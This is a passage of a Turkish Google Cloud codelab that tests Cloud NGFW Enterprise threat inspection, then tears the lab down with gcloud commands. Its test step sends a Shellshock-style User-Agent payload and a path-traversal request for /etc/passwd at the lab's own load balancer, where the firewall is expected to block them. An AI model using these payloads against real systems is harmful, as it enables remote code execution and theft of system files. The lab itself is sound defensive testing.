gcloud compute network-firewall-policies rules create 10000 \ --description "inspect all egress internet traffic from clients" \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=EGRESS \ --dest-ip-ranges=0.0.0.0/0 \ --enable-logging \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg
İstemci sanal makinesine geri dönün ve yüksek önem dereceli saldırıları harici sunucu IP'sine yeniden gönderin:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3
curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
Beklenen çıktı:
curl: (56) Recv failure: Connection reset by peer curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received
Günlükleri doğrulamak için Cloud Console'daki Tehditler sekmesine geçin (birkaç kez yenilemeniz gerekebilir). Saldırılar tekrar tanımlanıp günlüğe kaydedilmeliydi ancak çıkış kuralı önce tetiklendiği için kaynak IP artık dahili:

SSH oturumunu kapatın ve temizleme adımları için sonraki bölüme geçin.
8. Temizleme adımları
Cloud NGFW Enterprise Bileşenlerinin Temizlenmesi
Mevcut Cloud NGFW Enterprise ilişkilendirmelerini listeleme:
gcloud network-security firewall-endpoint-associations list
Cloud NGFW Enterprise ilişkilendirmesini silin:
gcloud network-security firewall-endpoint-associations delete \ $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list
Mevcut Cloud NGFW Enterprise uç noktalarını listeleyin:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Cloud NGFW Enterprise uç noktasını silin. Bu işlem yaklaşık 20 dakika sürebilir:
gcloud -q network-security firewall-endpoints delete \ $org_prefix-$zone --zone=$zone --organization $org_id
Aşağıdaki komutu çalıştırarak Cloud NGFW Enterprise'ın silindiğini doğrulayın:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Güvenlik Profili Grubu'nu ve Tehdit Önleme Profili'ni silin:
gcloud -q network-security security-profile-groups delete \ $org_prefix-spg \ --organization $org_id \ --location=global gcloud -q network-security security-profiles threat-prevention \ delete $org_prefix-sp-threat \ --organization $org_id \ --location=global
Temel Kurulum Temizliği
Temel kaynakları silmeyi tercih ediyorsanız sonraki adıma geçin.
Gerekirse ortam değişkenlerini tanımlayın. Cloud Shell'den ağ yük dengeleyici bileşenlerini silin:
gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region gcloud -q compute backend-services delete $prefix-nlb-bes --region $region gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone
Örnekleri kaldırma:
gcloud -q compute instances delete $prefix-$zone-www --zone=$zone gcloud -q compute instances delete $prefix-$zone-client --zone=$zone
İsteğe bağlı olarak, tagAdmin ve tagUsers rolleri değiştirildiyse aşağıdaki adımları uygulayın:
export user_id=$(gcloud auth list --format="value(account)") gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagUser
Etiket anahtarını ve değerlerini kaldırma:
gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags
Cloud Firewall ağ politikasını ve ilişkilendirmesini silin:
gcloud -q compute network-firewall-policies associations delete \
--firewall-policy $prefix-fwpolicy \
--name $prefix-fwpolicy-association \
--global-firewall-policy
gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global
Cloud Router ve Cloud NAT'i silme:
gcloud -q compute routers nats delete $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region gcloud -q compute routers delete $prefix-cr --region=$region
Ayrılmış IP adreslerini silme:
gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region
Son olarak, alt ağı ve VPC ağını silin:
gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region gcloud -q compute networks delete $prefix-vpc
9. Tebrikler!
Tebrikler! East-West ve North-South Inspection için Cloud NGFW Enterprise adlı codelab'i başarıyla tamamladınız.